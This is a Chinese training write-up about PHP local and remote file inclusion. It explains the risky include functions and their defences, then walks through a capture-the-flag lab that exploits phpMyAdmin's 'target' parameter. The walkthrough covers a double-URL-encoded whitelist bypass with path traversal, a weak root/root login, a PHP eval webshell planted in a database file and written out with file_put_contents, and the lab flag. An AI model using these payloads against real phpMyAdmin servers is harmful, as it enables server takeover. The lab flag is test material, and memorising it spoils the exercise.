掌控安全学习-本地包含与远程包含漏洞

知识梳理

1. 文件包含漏洞

文件包含本身不是漏洞,但是对于包含进来的文件制不严格,就导致了文件包含漏洞的产生,最终造成攻击者进行任意文件包含。(注:包含的文件会被当成脚本文件来解析)
注:包含文件很有用,可以简化代码

2. 文件包含分为本地和远程文件包含

本地文件包含:LFI
远程文件包含:RFI(需要allow_url_include = On

3. 危险函数

  • include()

文件被多次包含时,会抛出错误,但不影响程序向下执行

  • require()

文件被多次包含时,会抛出致命性的错误,程序将终止向下执行。

  • include_once()

文件只能被包含一次,如果多次包含,则会抛出错误,但不影响程序的向下执行。

  • require_once()

文件只能被包含一次,如果多次博涵,则会抛出致命错误,程序将终止向下执行。
ps:dfsgfa/../,并不是任意标点都可以,会影响到的特殊标点有*?,遇到要包含的文件需要传参,使用&代替;如?1.txt&8=phpinfo();

4. 防御方法

  • 无需情况下设置allow_url_include和allow_url_fopen为关闭
  • 对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,

靶场

靶场地址

http://59.63.200.79:8010/lfi/phpmyadmin/
源码地址http://59.63.200.79:8010/lfi/phpMyAdmin.zip

  • 下载源码进行代码审计

搜索危险函数include|require|include_once|require_once排查这些函数中有没有用户可控的。
发现这里有一个$_REQUEST,用户可控参数。

image

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

该文件包含,在if判断内,需要满足if判断条件才能执行

! empty($_REQUEST['target']         target传参不能为空
is_string($_REQUEST['target'])      target传参需要是字符串
! preg_match('/^index/', $_REQUEST['target'])       不能以index开头
! in_array($_REQUEST['target'], $target_blacklist)  传参内容不在黑名单内
Core::checkPageValidity($_REQUEST['target'])    ::表示调用了一个自定义函数,当返回为true时成立
  • 对target_blacklist自定函数进行追踪
$target_blacklist = array (
    'import.php', 'export.php'
);

不能包含import.php或export.php

  • 对checkPageValidity()进行追踪
 public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

从上至下依次分析
需要满足$goto_whitelist

  • 对goto_whitelist进行追踪,发现白名单
    public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

$page是该自定义函数的第一个传参,即之前的target.

        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

传参需要肯定不会在白名单呢,这个判断不能利用,跳过;

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

mb_substr函数是从第几取几位,这边会在传参的值后面加一个?然后截取?前的内容,前面要求传参不能有?,所以此处也不可利用,跳过;

$_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

get传参会默认解码一次url,urldecode()是再进行一次url解码
这里可以解决之前?不能解码的问题,?对应的url编码是%3F,%对应的url编码是%25,所有可以构建

db_sql.php%253F/../待包含文件
  • 尝试弱密码登陆后台

root,root

image

  • 查找变量basedir,找到数据库所在路径。

image

得到路径C:/phpStudy/MySQL/

  • 创建数据库,表,在字段中写入一句话木马
image

URL中插入

http://59.63.200.79:8010/lfi/phpmyadmin/?target=sql.php%253f/../../../../../phpStudy/MySQL/data/zzz/zzzz.frm&a=phpinfo();
image
  • 尝试使用file_put_contents写入一句话网页

file_put_contents('zzz.php','<?php eval($_REQUEST[a]) ?>');

http://59.63.200.79:8010/lfi/phpmyadmin/?target=sql.php%253f/../../../../../phpStudy/MySQL/data/zzz/zzzz.frm&file_put_contents('zzz.php','<?php eval($_REQUEST[a]) ?>');
image
  • 菜刀连接

http://59.63.200.79:8010/lfi/phpmyadmin/zzz.php
得到flag:zkz{_niCe_tO+lfI}

image

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。